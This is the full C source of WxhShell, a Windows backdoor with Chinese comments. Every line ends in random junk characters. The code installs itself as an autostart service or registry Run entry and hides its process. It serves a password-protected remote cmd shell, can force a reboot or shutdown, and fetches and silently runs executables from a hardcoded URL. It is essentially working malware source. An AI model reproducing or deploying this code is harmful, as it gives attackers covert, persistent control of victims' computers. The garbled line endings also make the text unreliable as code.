    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ` k] TOc  
    if(Boot(SHUTDOWN)) o9sQ!gptw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +9HU&gQ3  
    else { i%yKyfD  
    closesocket(wsh); %[n5mF*`  
    ExitThread(0); m#h`iW  
    } #7fOH U8v  
    break; 3g7]$}  
    } `_ ^I 2  
  // 获取shell ;)rhx`"n  
  case 's': { !jP[=  
    CmdShell(wsh); |(~IfSE2  
    closesocket(wsh);  !5 S#  
    ExitThread(0); ,5 ,r .  
    break; ,$]m1|t@z  
  } +^:uPW^U  
  // 退出 Va[&~lA)  
  case 'x': { 7gtaI3   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #W:.Fsq  
    CloseIt(wsh); &'\-M6GW  
    break; #cR5k@  
    } 41R~.?  
  // 离开 X>dQK4!R  
  case 'q': { 2Jo|P A` 9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dhLd2WSyH  
    closesocket(wsh); +46& Zb35  
    WSACleanup(); _WV13pnRu  
    exit(1); b?k,_; \  
    break; ca &zYXy  
        } s#~VN;-I  
  } &IQNsJL!e  
  } r0z8?  
.yDR2 sW  
  // 提示信息 CS%ut-K<5M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZrYRLg  
} /p-k'387  
  } dnANlNMk?  
xfUV'=~(  
  return; ILG&l<!E  
} BDp(&=ktq  
axG%@5  
// shell模块句柄 ddYb=L+_b  
int CmdShell(SOCKET sock) B <Jxj  
{ RCkmxO;b&  
STARTUPINFO si; __z/X"H  
ZeroMemory(&si,sizeof(si)); Y}vV.q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c7rC!v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +o.#']}Pl  
PROCESS_INFORMATION ProcessInfo; 0>,i] |Y  
char cmdline[]="cmd"; j;Z hI y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n~,6!S  
  return 0; h\C1:0x{  
} jxK `ShW=  
HELTL$j,b  
// 自身启动模式 be6`Sv"H  
int StartFromService(void) $7-4pW$y  
{ Ow0~sFz  
typedef struct ^(*eoe  
{ E]Cm#B  
  DWORD ExitStatus; n`Ypv{+ {%  
  DWORD PebBaseAddress; T5[(vTp  
  DWORD AffinityMask; Ornm3%p+e  
  DWORD BasePriority; lz).=N}m  
  ULONG UniqueProcessId; %AMF6l[  
  ULONG InheritedFromUniqueProcessId; _=w=!U&W  
}   PROCESS_BASIC_INFORMATION; CS^|="Zs  
787i4h:71  
PROCNTQSIP NtQueryInformationProcess; +C$wkx]  
ZU:c[`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V" 5rIk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2$Z4 >!  
2J(,Xf  
  HANDLE             hProcess; [c>YKN2qa  
  PROCESS_BASIC_INFORMATION pbi; <t*3w  
yWYsN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5N>L|J2  
  if(NULL == hInst ) return 0; 5t-(MY  
t-FrF</ 0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \n0Gr\:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZYl*-i&~?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QswFISch  
uCFpH5>  
  if (!NtQueryInformationProcess) return 0; 'kCr1t  
(.M &nN'Ce  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gA+@p'XnR  
  if(!hProcess) return 0; )=h+5Z>E1  
g*U[?I"sC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (S j?BZjC  
6K.0dhl>`B  
  CloseHandle(hProcess); ds+0y;vc  
=sXk,I;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e=6C0fr  
if(hProcess==NULL) return 0; #w[Ie+  
\T!tUd  
HMODULE hMod; $8_b[~%2  
char procName[255]; m!<uY?,hf  
unsigned long cbNeeded; w##$SaTI  
M-f; ,>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x8rp Z  
}!vJ+  
  CloseHandle(hProcess); ,|R\ Z,s  
!uHVg(}  
if(strstr(procName,"services")) return 1; // 以服务启动 "qY_O/Eg]]  
6[% 4 Q[  
  return 0; // 注册表启动 bq}o#d5p-_  
} ,3ivB8  
pu+jw<7  
// 主模块 vB/G#\Zqz  
int StartWxhshell(LPSTR lpCmdLine) 9<!Ie^o?  
{ Pu]Pp`SP  
  SOCKET wsl; n ^C"v6X  
BOOL val=TRUE; _E[)_yH'-  
  int port=0; z`@|v~i0`  
  struct sockaddr_in door; `oH6'+fT`;  
&FzZpH  
  if(wscfg.ws_autoins) Install(); #.W<[KZf  
8<g9 ~L  
port=atoi(lpCmdLine); 3hzKd_  
K<w$  
if(port<=0) port=wscfg.ws_port; U{.yX7  
|NWo.j>4-  
  WSADATA data; RS[QZOoW}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /4 -6V d"8  
arj?U=zy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )1 !*N)$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1O;q|p'9  
  door.sin_family = AF_INET; uyWt{>$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G8p6p6*  
  door.sin_port = htons(port); f>_' ]eM%  
Y]{~ogsn$:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |"EQyV  
closesocket(wsl); 4] I7t  
return 1; ??`z W  
} DlbNW& V  
KdtQJ:_`k  
  if(listen(wsl,2) == INVALID_SOCKET) { L(qQ,1VY  
closesocket(wsl); r5aOQ  
return 1; *U^7MU0  
} Wi{ jC?2Q  
  Wxhshell(wsl); EJ`"npU  
  WSACleanup(); wtnC^d$  
Bgj^n{9x  
return 0; <MBpV^Y}  
-eoXaP{[  
} a{7'qmN1  
V17SJSC-  
// 以NT服务方式启动 La'XJ|>V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2i_k$-  
{ %Y//}  
DWORD   status = 0; 1|Z!8:&pj  
  DWORD   specificError = 0xfffffff; .:=G=v=1  
.+ g8zbD4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +>S\.h s4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IX) \z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w0L+Sj db  
  serviceStatus.dwWin32ExitCode     = 0; f^?k?_~PN  
  serviceStatus.dwServiceSpecificExitCode = 0; [kyIF\0  
  serviceStatus.dwCheckPoint       = 0; RwptFO  
  serviceStatus.dwWaitHint       = 0; $UGX vCR  
#Z]l4d3{T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gg=Y}S7:  
  if (hServiceStatusHandle==0) return; yJAz#~PO/  
/KH,11 )yc  
status = GetLastError(); kls 6Dk#  
  if (status!=NO_ERROR) '9d] B^)F  
{ 9s'[p'[Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HTU?hbG(  
    serviceStatus.dwCheckPoint       = 0; ev;R; 0<  
    serviceStatus.dwWaitHint       = 0; (^).$g5Hg  
    serviceStatus.dwWin32ExitCode     = status; e${Cf  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~*Kk+w9H<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P4S]bPIp  
    return; YZ0Jei8+-  
  } E2~&GkU.UN  
(W4H?u@X0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m]#oZVngy  
  serviceStatus.dwCheckPoint       = 0; Tweku}D7  
  serviceStatus.dwWaitHint       = 0; qTUyax  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dGY:?mf&  
} eQqx0+-0c  
TcM;6h`  
// 处理NT服务事件,比如:启动、停止 zLda&#+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +=N#6 # 1  
{ . +  
switch(fdwControl) Td/J6Q9 0  
{ cg]>*lH  
case SERVICE_CONTROL_STOP: !m<v@SmL\  
  serviceStatus.dwWin32ExitCode = 0; xaG( 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \T]'d@Wyd  
  serviceStatus.dwCheckPoint   = 0; *kE<7  
  serviceStatus.dwWaitHint     = 0; 84}Pu%  
  { tlJ@@v&=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7)#8p @Q  
  } jZ\a:K?  
  return; 5.3=2/  
case SERVICE_CONTROL_PAUSE: 84eqT[I'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H%z9VJ*!0  
  break; waI:w,  
case SERVICE_CONTROL_CONTINUE: 'Wz`P#/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e;G}T%W  
  break; >`(]&o6<$  
case SERVICE_CONTROL_INTERROGATE: VW/ICX~"d  
  break; &K.js  
}; yrVk$k#6}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQ",rP%  
} 7U, [Ruu  
7`_`V&3s  
// 标准应用程序主函数 Z&W*@(dX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p.|NZXk%%a  
{ cA8A^Iv:0  
6A23H7  
// 获取操作系统版本 Cl>{vS N  
OsIsNt=GetOsVer(); j}fu|-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9H#;i]t&  
J':x]_;  
  // 从命令行安装 O-jpS?@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3JJEj1O  
@zGz8IF  
  // 下载执行文件 =)mA.j}E2  
if(wscfg.ws_downexe) { I->BDNk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^ 9`O ^  
  WinExec(wscfg.ws_filenam,SW_HIDE); r(6$.zx  
} :'0.  
DP5}q"l  
if(!OsIsNt) { la}Xo0nq0+  
// 如果时win9x,隐藏进程并且设置为注册表启动 BDiN*.w5  
HideProc(); ^Ez`WP  
StartWxhshell(lpCmdLine); !/RL.`!>  
} QopA'm  
else ')#!M\1,HQ  
  if(StartFromService()) ews{0  
  // 以服务方式启动 A$o7<Hx  
  StartServiceCtrlDispatcher(DispatchTable); 0wnC"2GUX  
else p38RgEf  
  // 普通方式启动 F+ Q(^Nk  
  StartWxhshell(lpCmdLine); thK4@C|X4  
*mtS\J  
return 0; eRm 9LOp  
} Q8  
5BRZpCb  
' |Ia-RbX  
e` {F7rd:  
=========================================== }2+*E}g  
z=1N}l~|*  
Zv&<r+<g  
Mv\]uAT`  
jWNF3\  
K zWqHq  
" gO%o A} !i  
p|9Eue3j2  
#include <stdio.h> %s* F~E  
#include <string.h> ZXH{9hxd  
#include <windows.h> u#Y#,:{  
#include <winsock2.h> dk>qTY+j5  
#include <winsvc.h> `*-rz<G  
#include <urlmon.h> mGP&NOR0^y  
>\4"k4d}  
#pragma comment (lib, "Ws2_32.lib") R8N*. [  
#pragma comment (lib, "urlmon.lib") O f.%rpgy  
n&\DJzW\#  
#define MAX_USER   100 // 最大客户端连接数 =+ALh-  
#define BUF_SOCK   200 // sock buffer Cr>YpWm  
#define KEY_BUFF   255 // 输入 buffer 9AP."RV  
![Ll$L r  
#define REBOOT     0   // 重启 B`mTp01  
#define SHUTDOWN   1   // 关机 8'|_O  
q>f|1Pf  
#define DEF_PORT   5000 // 监听端口 fq4[/%6,O  
h;DLD8L  
#define REG_LEN     16   // 注册表键长度 w tSX(LN Y  
#define SVC_LEN     80   // NT服务名长度 n =qu?xu  
mZ0'-ax   
// 从dll定义API Q nmv?YXS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `RHhc{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C7Ny-rj}IA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gph:'3 *X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?M9?GodbP.  
JrNqS[c/  
// wxhshell配置信息 pKNrEq  
struct WSCFG { *iiyU}x  
  int ws_port;         // 监听端口 %@'[g]h k  
  char ws_passstr[REG_LEN]; // 口令 HA`q U  
  int ws_autoins;       // 安装标记, 1=yes 0=no JxmFUheLt  
  char ws_regname[REG_LEN]; // 注册表键名 "(+p1  
  char ws_svcname[REG_LEN]; // 服务名 IrMxdF~c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S pIdw0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eJ+@<+vr;x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QA=mD^A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GD@|X wK){  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RG e2N |  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,%d?gi"&  
R4g;-Ci->  
}; d:3OC&  
t .-%@,s  
// default Wxhshell configuration R q9(<' F  
struct WSCFG wscfg={DEF_PORT, E'+?7ZGWj  
    "xuhuanlingzhe", Zonr/sA~  
    1, IutU ~%wv  
    "Wxhshell", /zg|I?$>Z4  
    "Wxhshell", L['g')g.  
            "WxhShell Service", *_@t$W  
    "Wrsky Windows CmdShell Service", Ex -?[Hq  
    "Please Input Your Password: ", 1+v!)Y>Z&  
  1, H$rNT/C  
  "http://www.wrsky.com/wxhshell.exe", lN~u='Kc  
  "Wxhshell.exe" z$Z{ LR  
    }; @FaK/lKK  
k7)<3f3&S.  
// 消息定义模块 'mYUAVmSC#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F2!]T=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;!pSYcT,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3A!Qu$r9  
char *msg_ws_ext="\n\rExit."; TrR=3_;.7  
char *msg_ws_end="\n\rQuit."; cm17hPe`}n  
char *msg_ws_boot="\n\rReboot..."; e N^6gub  
char *msg_ws_poff="\n\rShutdown..."; K9QC$b9(  
char *msg_ws_down="\n\rSave to "; WPDi)U X  
;D|g5$OE&  
char *msg_ws_err="\n\rErr!"; EYSBC",  
char *msg_ws_ok="\n\rOK!"; :CGh$d] +  
Ci$?Hm9n  
char ExeFile[MAX_PATH]; bsv!z\}  
int nUser = 0; -)9aY.  
HANDLE handles[MAX_USER]; Wa<SYJ  
int OsIsNt; Lk2;\D>  
"U|u-ka8B  
SERVICE_STATUS       serviceStatus; :wY(</H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q!y!=hI  
Nin7AOO  
// 函数声明 89P'WFOFK  
int Install(void); kzmw1*J  
int Uninstall(void); ,b9!\OWDF  
int DownloadFile(char *sURL, SOCKET wsh); EI8KKo *  
int Boot(int flag); :=?od 0]W  
void HideProc(void); 9s&dN  
int GetOsVer(void); MeDlsO  
int Wxhshell(SOCKET wsl); CPci 'SO  
void TalkWithClient(void *cs); vVf%wei^#  
int CmdShell(SOCKET sock); !`0 El',gY  
int StartFromService(void); 9w.ZXd  
int StartWxhshell(LPSTR lpCmdLine); /|p6NK;8L  
-Ra-Ux  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /3j3'~0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s[Whg!2~  
*]*0uo  
// 数据结构和表定义 <2t%<<%  
SERVICE_TABLE_ENTRY DispatchTable[] =  ?)2;W  
{ $Gs|Z$(  
{wscfg.ws_svcname, NTServiceMain}, cv"Bhql  
{NULL, NULL} JQDS3v=1$  
}; z-JYzxL9  
'J8Ga<s7C  
// 自我安装 n8Rsle`a  
int Install(void) `%_(_%K  
{ h~5gHx/ a  
  char svExeFile[MAX_PATH]; r1[#_A`Yn  
  HKEY key; !|~yf3  
  strcpy(svExeFile,ExeFile); A`nzqe#(1  
u?SxaGEa  
// 如果是win9x系统,修改注册表设为自启动 '}9 %12\^h  
if(!OsIsNt) { Q .g44>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *T2kxN,Ik  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 09J,!NN  
  RegCloseKey(key); e4<St`K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hVW1l&s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B3W2?5p  
  RegCloseKey(key); 51 "v`O+  
  return 0; o[aIQ|G  
    } ?0?+~0sI  
  } ^?S lM  
} thSXri?kl  
else { YP73  
Ww =ksggpB  
// 如果是NT以上系统,安装为系统服务 ZY*_x)h+#7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (97&mhs3  
if (schSCManager!=0) AZva  
{ [/U5M>#n  
  SC_HANDLE schService = CreateService (p(-E  
  ( FL[w\&fp  
  schSCManager, Z b:S IJ  
  wscfg.ws_svcname, ]%Lk#BA@A  
  wscfg.ws_svcdisp, KqvM5$3  
  SERVICE_ALL_ACCESS, "ZP)[ [Rd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R'$1,ie  
  SERVICE_AUTO_START, |?\2F   
  SERVICE_ERROR_NORMAL, H8h,JBg5<F  
  svExeFile, grE'ySX0  
  NULL, \L"0Pmt[  
  NULL, LfMN 'Cb  
  NULL, `=E4J2"  
  NULL, Erm]uI9`  
  NULL { {+:Vy  
  ); <G#Q f|&  
  if (schService!=0) nG7E j#1  
  { <x1,4a~  
  CloseServiceHandle(schService); #YK=e&da  
  CloseServiceHandle(schSCManager); Rts.jm>[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R<Ct{f!  
  strcat(svExeFile,wscfg.ws_svcname); b&!x.+d-z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .NMZHK?%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WD|pG;Gq  
  RegCloseKey(key); o"g<Vz  
  return 0; v*^'|QyM7  
    } {4r }jH  
  } ?3do-tTp  
  CloseServiceHandle(schSCManager); Vo9Fl Yj  
} m0]Lc{  
} 6t'vzcQs  
?|{tWR,Vb  
return 1; ~Hvf"bvK|  
} E+P-)bRa  
|z`AIScT  
// 自我卸载 G!U `8R  
int Uninstall(void) 9n;6;K#  
{ `t2Y IwOK  
  HKEY key; qjH/E6GGg  
.x_F4#Ka  
if(!OsIsNt) { 2[1lwV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 89ab?H}/  
  RegDeleteValue(key,wscfg.ws_regname); wcL|{rUXba  
  RegCloseKey(key); <1E5[9 q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {  P@mAw  
  RegDeleteValue(key,wscfg.ws_regname); s$xm  
  RegCloseKey(key); Q$x 3uH\@  
  return 0; 4)d"}j  
  } ADB,gap  
} gZ6tb p,X  
} :</KgR0I  
else { ?:#$btmn?  
S{UEV7d:n0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?'^yw C`  
if (schSCManager!=0) ]>,Lw=_[_  
{ B+[L/C}=;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P.kf|,8 L  
  if (schService!=0) 4x_# 1 -  
  { u=ZZ;%Rvd  
  if(DeleteService(schService)!=0) { xvW# ~T]  
  CloseServiceHandle(schService); PF:'dv  
  CloseServiceHandle(schSCManager); %Ktlez:S  
  return 0; ]?s^{  
  } s:^Xtox /  
  CloseServiceHandle(schService); MG4(,"c!  
  } 6eW9+5oL  
  CloseServiceHandle(schSCManager); Z"E2ZSa0  
} Rzxkz  
} @Wd1+Yky  
=HHb ]JE  
return 1; }XfRKGQw  
} Fr1OzS^&(  
gk4DoOj#P  
// 从指定url下载文件 .}3K9.hkr  
int DownloadFile(char *sURL, SOCKET wsh) z/|tsVK  
{ >C -N0H  
  HRESULT hr; R?}<Cj I  
char seps[]= "/"; S{zl <>+  
char *token; xDIl  
char *file; L4{+@T1A[  
char myURL[MAX_PATH]; F*=}}H/  
char myFILE[MAX_PATH];  8s>OO&  
fi'\{!!3m^  
strcpy(myURL,sURL); VX e7b  
  token=strtok(myURL,seps); qnnP*15`  
  while(token!=NULL) P*kC>lvSv  
  { eKL3Y_5p@  
    file=token; )`}4rD^b  
  token=strtok(NULL,seps); }c'T]h\S  
  } zX&wfE8T  
8:jakOeT  
GetCurrentDirectory(MAX_PATH,myFILE); bP{uZnOM2P  
strcat(myFILE, "\\"); ~4M?[E&  
strcat(myFILE, file); d*Kg_He-  
  send(wsh,myFILE,strlen(myFILE),0); =p&uQ6.i+  
send(wsh,"...",3,0); e# KP3Lp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :jGgX>GG  
  if(hr==S_OK) VevDW }4q*  
return 0; K b z|h,<  
else }N@+bNh~  
return 1; k Hh0&~ (  
mxl"Y&l2<  
} n4 J*04K  
G/&Wc2k  
// 系统电源模块 6Wc.iomx8  
int Boot(int flag) 90!67Ap`x  
{ -{eI6#z|\A  
  HANDLE hToken; lNB<_SO  
  TOKEN_PRIVILEGES tkp; .<.#g +  
7DIFJJE'  
  if(OsIsNt) { Mgg m~|9)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^qV6 khg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]/odp/jm  
    tkp.PrivilegeCount = 1; MO_;8v~0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h2vD*W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SaA-Krn  
if(flag==REBOOT) { |\SwZTr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lM[FT=M  
  return 0; "SU O2-Gj  
} W_h!Puj_  
else { VHx:3G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L*1yK*  
  return 0; </|m^$v  
} b!z kQ?h  
  } >e QFY^d5  
  else { O8 5)^  
if(flag==REBOOT) { Y$ '6p."=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )"f*Mp  
  return 0; wQN/MYF[  
} IeGVLC  
else { a fUOIM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U )J/so)  
  return 0; ^-26K|{3  
} /U@Y2$TOF  
} a<v!5\dq!  
"[\),7&03  
return 1; I=K|1  
} U].3vju`c  
oPR?Ar  
// win9x进程隐藏模块 SJ8|~,vL  
void HideProc(void) Oi\,clR^[o  
{ G*rlU  
1g_Dkv|D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~3qt<"  
  if ( hKernel != NULL ) sjwD x0(7=  
  { |Q*{yvfEo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |]j2T 8_=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CG[04y  
    FreeLibrary(hKernel); I'%ASZ  
  } 'Sjt*2blq  
Y%@a~|  
return; vABUUAo!Jr  
} zfm#yDf  
&``nYI g/  
// 获取操作系统版本 T#-U\C~o  
int GetOsVer(void) E<L6/rG  
{ 3}2a3)  
  OSVERSIONINFO winfo; %q_b\K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qp55U*  
  GetVersionEx(&winfo); (sx,Ol  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (GbZt{.  
  return 1; x4;ndck%U  
  else YQ7tZl;:t  
  return 0; >m8~Fs0  
} -*~~ 00w  
GbJVw\5Z*  
// 客户端句柄模块 "UTAh6[3oD  
int Wxhshell(SOCKET wsl) i|QL6e*0  
{ = K3NKPUI  
  SOCKET wsh; 8 J;\Z  
  struct sockaddr_in client; 6:qh%ZR  
  DWORD myID; U$ 22r b  
tqicyNL  
  while(nUser<MAX_USER) 7q'T,'[  
{ 0M 5m8  
  int nSize=sizeof(client); FmC [u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Ea(f**2B  
  if(wsh==INVALID_SOCKET) return 1; n_@cjO  
pEX|zee  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ><"0GPxrx  
if(handles[nUser]==0) J|:Zs1.<d  
  closesocket(wsh); {Q AV  
else ^6FU]  
  nUser++; wUcp_)aE|  
  } $gysy!2}.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b]@@x;v$@  
]6z ; M;F`  
  return 0; ~oE@y6Q  
} ^4[|&E:  
v7G&`4~  
// 关闭 socket 2*}qQ0J  
void CloseIt(SOCKET wsh) lbiMB~rwI  
{ y(*#0fJrTV  
closesocket(wsh); .yb=I6D;<3  
nUser--; Kld#C51X f  
ExitThread(0); {x<yDDIv_  
} 0:q R,NW^#  
B dKD%CJ[  
// 客户端请求句柄 @"'$e_jj"  
void TalkWithClient(void *cs) .fD%*-  
{ FFpG>+*3  
Jj,fdP#\  
  SOCKET wsh=(SOCKET)cs; hvOl9W>  
  char pwd[SVC_LEN]; I#9q^,,F  
  char cmd[KEY_BUFF]; *W$bhC'w  
char chr[1]; N Ah^2X  
int i,j; ZCz#B2Sf8  
CCU<t Q  
  while (nUser < MAX_USER) { ;eT+Ly|{  
 Or,W2  
if(wscfg.ws_passstr) { N=~aj7B%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .lyK ,p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZOY zCc(d  
  //ZeroMemory(pwd,KEY_BUFF); w[Q)b()  
      i=0; gPw{'7'U  
  while(i<SVC_LEN) { klSAY  
SRek:S,  
  // 设置超时 10W6wIqK  
  fd_set FdRead; C7xmk;c w  
  struct timeval TimeOut; ! ,&{1p  
  FD_ZERO(&FdRead); =uD^#AX  
  FD_SET(wsh,&FdRead); ?<6yKxn  
  TimeOut.tv_sec=8; 0t(js_  
  TimeOut.tv_usec=0; $&jte_hv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F7IZ;4cp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q+a"Z^Z|  
[ %6(1$Ih  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D2MWrX  
  pwd=chr[0]; nV3I6  
  if(chr[0]==0xd || chr[0]==0xa) { jCp`woV  
  pwd=0; ] 8dzTEjk  
  break; ']DUCu  
  } yNOoAnGT W  
  i++; +S ],){  
    } >m# bj^F\  
9#b/D&pX5  
  // 如果是非法用户,关闭 socket ^b^}6L'Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]1&} L^a  
} 9N V.<&~  
p d(W(-`8!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oxXCf%!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Am"e%|:  
,f^ ICM  
while(1) { rWNywxnT  
osZ] R  
  ZeroMemory(cmd,KEY_BUFF); Lf+"Gp  
B\Uocn  
      // 自动支持客户端 telnet标准   lL"ANlX-P  
  j=0; ki'CW4x  
  while(j<KEY_BUFF) { !8OgaMngzF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |ZtNCB5{^j  
  cmd[j]=chr[0]; rceX|i>9n  
  if(chr[0]==0xa || chr[0]==0xd) { ciGJtD&P  
  cmd[j]=0; TeNPuY~WP  
  break; 17F<vo>l%  
  } ")@#B=8+3^  
  j++; e"&QQ-q  
    } njckPpyb@  
M$UZn  
  // 下载文件 OU'm0Jlk  
  if(strstr(cmd,"http://")) { 5[Uv%A?H#_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \h5!u1{L  
  if(DownloadFile(cmd,wsh)) Sjo7NR^#e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5&TH\2u  
  else {fa3"k_ke  
